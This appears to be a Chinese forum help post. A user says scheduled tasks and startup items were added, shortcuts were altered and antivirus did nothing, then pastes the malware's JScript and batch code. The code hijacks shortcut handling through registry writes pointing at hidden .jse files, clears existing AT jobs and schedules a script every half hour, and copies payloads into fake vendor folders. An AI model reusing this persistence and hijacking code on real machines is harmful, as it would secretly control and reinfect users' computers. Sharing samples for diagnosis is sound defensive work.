加计划任务加启动项 快捷方式都被改了文件名全都变大写 杀毒也不管
var oS = new ActiveXObject("WScript.Shell") ;
var f_AB = new ActiveXObject( "Scripting.FileSystemObject") ;
var f_f = function(){
oS.RegWrite("HKCR\\" + ".qtzsj" + "\\", "svbultf", "REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "\\", "快捷方式", "REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\IsShortcut]\\IsShortcut[/url]", "", "REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\NeverShowExt]\\NeverShowExt[/url]", "", "REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\DefaultIcon\\]\\DefaultIcon\\[/url]", "%SystemRoot%\\system32\\url.dll,0", "REG_EXPAND_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\CLSID\\]\\CLSID\\[/url]", "{FBF23B40-E3F0-101B-8488-00AA003E56F8}", "REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\shell\\]\\shell\\[/url]", "open", "REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\shell\\open\\CLSID]\\shell\\open\\CLSID[/url]", "{FBF23B40-E3F0-101B-8488-00AA003E56F8}","REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\shell\\open\\command\\]\\shell\\open\\command\\[/url]", 'WScript.exe /B "C:\\Program FilesSRS Labs\\SRS Premium Sound Control Panel\\ehngxfr.jse" "%1"', "REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\shellex\\IconHandler\\]\\shellex\\IconHandler\\[/url]", "{FBF23B40-E3F0-101B-8488-00AA003E56F8}", "REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\shellex\\ContextMenuHandlers\\]\\shellex\\ContextMenuHandlers\\[/url]", "", "REG_SZ");
};
f_f();
WScript.Sleep(500);
f_f();
WScript.Sleep(500);
f_f();^#~@
cmd.exe /c at /delete /yes
at.exe 0:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 0:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 1:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 1:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 2:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 2:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 3:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 3:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 4:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 4:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 5:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 5:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 6:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 6:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 7:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 7:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 8:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 8:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 9:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 9:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 10:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 10:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 11:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 11:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 12:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 12:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 13:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 13:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 14:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 14:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 15:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 15:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 16:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 16:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 17:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 17:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 18:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 18:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 19:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 19:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 20:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 20:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 21:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 21:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 22:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 22:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday "C:\Program Files\Messenger\Stationery\2025\s.cmd"
copy "C:\Program Files\Messenger\Stationery\2025\a" "C:\Program FilesSRS Labs\SRS Premium Sound Control Panel\ehngxfr.jse"
copy "C:\Program Files\Messenger\Stationery\2025\b" "C:\Program Files\ASUS\AI Recovery\knxxxlx.jse"
copy "C:\Program Files\Messenger\Stationery\2025\c" "C:\Program FilesMSBuild\Microsoft\gjpizht.jse"
REG ADD "HKEY_CLASSES_ROOT\svbultf\shell\open\command" /ve /t REG_SZ /d "WScript.exe /B """C:\Program FilesSRS Labs\SRS Premium Sound Control Panel\ehngxfr.jse""" """%%1"""" /f
用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0)
